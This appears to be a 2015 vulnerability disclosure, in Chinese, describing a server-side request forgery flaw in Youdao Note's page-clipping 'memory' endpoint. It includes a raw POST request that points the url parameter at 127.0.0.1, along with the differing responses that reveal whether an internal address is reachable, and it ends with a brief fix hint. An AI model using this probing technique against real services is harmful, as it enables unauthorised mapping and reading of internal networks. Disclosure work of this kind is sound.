漏洞地址:http://note.youdao.com/memory/?url=http://www.wooyun.org(如需登录,请注册登录)
正文预览的地方会读取URL地址的
<meta name="description" content=""/>
content的内容作为显示
跟踪起网页的跳转到达
POST /yws/open/memory?method=content HTTP/1.1 Host: note.youdao.com Proxy-Connection: keep-alive Content-Length: 20 Accept: application/json, text/javascript, */* Origin: http://note.youdao.com X-Requested-With: XMLHttpRequest Cookie: url=http://127.0.0.1
(参数做了精减,请自行抓包)
根据URL地址的可不可到达 结果类似如下
到达:
HTTP/1.1 200 OK Server: Tengine Date: Wed, 14 Jan 2015 15:38:44 GMT Content-Type: text/json; charset=UTF-8 Content-Length: 41 Connection: close Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: zh-CN Cache-Control: no-cache {"content":"","title":null,"type":"NONE"}
(如又content内网,会显示内容,没有内容可地址存在就是这个情况,可测试www.wooyun.org--有content www.baidu.com--没有content)
若不可到达:
HTTP/1.1 500 Internal Server Error Server: Tengine Date: Thu, 15 Jan 2015 00:57:34 GMT Content-Type: text/json; charset=UTF-8 Content-Length: 157 Connection: close RES-CODE: 213 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: zh-CN {"message":"Message[DATA_TRANSMISSION_FAILURE]: Page Clipper Exception, URL=http://127.0.0.1","canTryAgain":false,"scope":"PREVIOUS_EXCEPTION","error":"213"}
过滤、限制
